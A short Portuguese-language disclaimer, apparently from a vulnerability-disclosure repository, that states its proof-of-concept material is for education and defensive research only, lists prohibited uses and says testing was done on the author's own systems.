Este repositório é fornecido estritamente para fins educacionais, pesquisa defensiva de segurança e reprodução de vulnerabilidades em ambientes de laboratório controlados.
As informações e o código de prova de conceito destinam-se a ajudar defensores, pesquisadores e fornecedores a compreender e corrigir a vulnerabilidade relatada.
O uso não autorizado ou malicioso deste código contra sistemas sem permissão explícita pode violar leis e regulamentos aplicáveis.
O autor não incentiva nem tolera atividades ilegais e não assume responsabilidade por uso indevido ou danos causados por este material.

Este relatório de divulgação de vulnerabilidade é fornecido para:
1. Pesquisa e educação em segurança
2. Notificação ao fornecedor e desenvolvimento de correções
3. Proteção dos usuários finais
4. Fins acadêmicos e de segurança defensiva

**Usos Proibidos:**
- Acesso não autorizado a sistemas de computador
- Exploração maliciosa
- Qualquer atividade ilegal

O pesquisador realizou todos os testes em sistemas de propriedade pessoal em ambientes controlados. Nenhum acesso não autorizado a sistemas de terceiros foi realizado.

**Versão do Relatório:** 1.0  
**Última Atualização:** 9 de fevereiro de 2026
Baixar ferramenta